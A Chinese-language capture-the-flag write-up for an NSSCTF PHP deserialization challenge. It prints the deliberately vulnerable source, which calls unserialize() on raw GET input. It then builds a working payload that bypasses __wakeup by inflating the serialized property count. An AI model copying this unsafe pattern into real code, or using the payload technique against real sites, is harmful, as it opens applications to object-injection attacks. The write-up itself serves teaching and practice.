【PHP反序列化】css夺旗赛
https://www.nssctf.cn/problem/429
源码:
<?phpheader("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");class HaHaHa{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __wakeup(){$this->passwd = sha1($this->passwd);}public function __destruct(){if($this->admin === "admin" && $this->passwd === "wllm"){include("flag.php");echo $flag;}else{echo $this->passwd;echo "No wake up";}}}$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);?>
-
类结构:
HaHaHa类有两个属性admin和passwd -
构造函数:设置默认值
admin="user",passwd="123456" -
__wakeup魔术方法:在反序列化时自动调用,对
passwd进行sha1加密 -
__destruct魔术方法:在对象销毁时检查条件,如果满足就输出flag
需要同时满足两个条件才能获取flag:
$this->admin === "admin" && $this->passwd === "wllm"
但是__wakeup()方法会在反序列化时自动执行,将passwd进行sha1加密,这会导致:原始设置的passwd="wllm"会被加密成sha1("wllm"),加密后的值不等于"wllm"
解决方案:绕过__wakeup
PHP的反序列化漏洞中,可以通过修改序列化字符串中的对象属性数量来绕过__wakeup方法的执行。
构造payload
-
首先创建满足条件的对象:
<?php
class HaHaHa{public $admin;public $passwd;
}$obj = new HaHaHa();
$obj->admin = "admin";
$obj->passwd = "wllm";echo serialize($obj);
?>
正常序列化字符串:O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
绕过__wakeup的payload:
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
注意:当反序列化的对象属性数量与实际类属性数量不匹配时,__wakeup()方法不会被执行,所以将属性数量从2改为比实际数量大的数字:3
